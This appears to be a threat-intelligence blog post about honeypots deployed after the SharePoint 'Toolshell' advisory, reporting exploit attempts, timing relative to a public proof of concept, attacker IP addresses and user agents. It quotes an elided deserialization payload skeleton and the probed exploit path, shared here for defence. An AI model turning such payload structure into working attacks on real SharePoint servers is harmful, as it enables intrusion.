SharePoint Exploit Intelligence with Honeypots
N‑Day SharePoint Exploit Intelligence with Honeypots
TL;DR
Within an hour of the July 20 advisory, we spun up 20 SharePoint-flavored honeypots across multiple regions.
Detected 91 attempts of exploiting Toolshell in the first 48 hours; over 50% were marked “clean” on VT at time of observation.
Observed attack chains consistent with public reporting, using the spoofing/auth-bypass vuln followed by the RCE/deserialization half.
Backstory & Objective
On 2025‑07‑20 (EEST), CISA flagged active exploitation of new SharePoint vulnerabilities. We immediately deployed 20 high‑interaction honeypots to:
Validate exploit prevalence
See if we could extract indicators before they went public
Publish data from the experiment on Twitter / X.
Results
Interesting Hits (first 48h)
The first 24 hours contained mostly traffic that looked like vendors scanning for signs of exploitation, i.e. GETting the spinstall0.aspx path.
However, exploit traffic started hitting the honeypots just before a POC went public.
Altogether detected 91 attempts of exploiting Toolshell in the first 48 hours.
Over 50% were marked “clean” on VT at time of observation:
Beating the Public POC
Interestingly, the first exploit attempt hit one of the honeypots roughly 30 minutes before a public POC was put onto Github:
Exploits
While there was a good amount of exploits, most contained exploit payloads for testing purposes, e.g.:
That translated to:
<diffgr:diffgram ...>
<foo><bar ...>
<poc>...<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>...</poc>Indicators
Observed IPs Targetting the Exploit Path:- 113.178.19.153
- 138.199.53.248
- 146.70.165.94
- 149.102.239.227
- 180.93.183.110
- 182.2.79.164
- 36.68.9.91
- 45.141.56.114
- 45.191.66.77
- 45.87.213.227
- 83.136.182.237
- Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.3.17
- Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
- Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
- Mozilla/5.0 (X11; Linux i686; rv:124.0) Gecko/20100101 Firefox/124.0
- curl/8.1.2
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
- Mozilla/5.0 (Macintosh; Intel Mac OS X 15_5_7; es) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.7 Safari/605.1.15
- Mozilla/5.0 (Debian; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0
- Mozilla/5.0 (CentOS; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0
- Mozilla/5.0 (Windows NT 10.0; Win64; x64)
- python-requests/2.31.0
- Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
- curl/7.68.0
- Mozilla/5.0 (SS; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0
- Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15
516, 7699, 397, 1055, 1057, 1442, 1446, 1448, 1452, 2480, 561, 1456, 1468, 4962, 872, 373, 118, 119, 120, 1532
Limitations
This was an ad-hoc experiment standing up infrastructure rapidly into various public clouds. Results might be much more interesting with a longer-term deployment into less noisy infrastructure.
Closing
Honeypots gave a time advantage on credible indicators while public lists lagged, and provided payload IOCs before publicly known exploits were available.
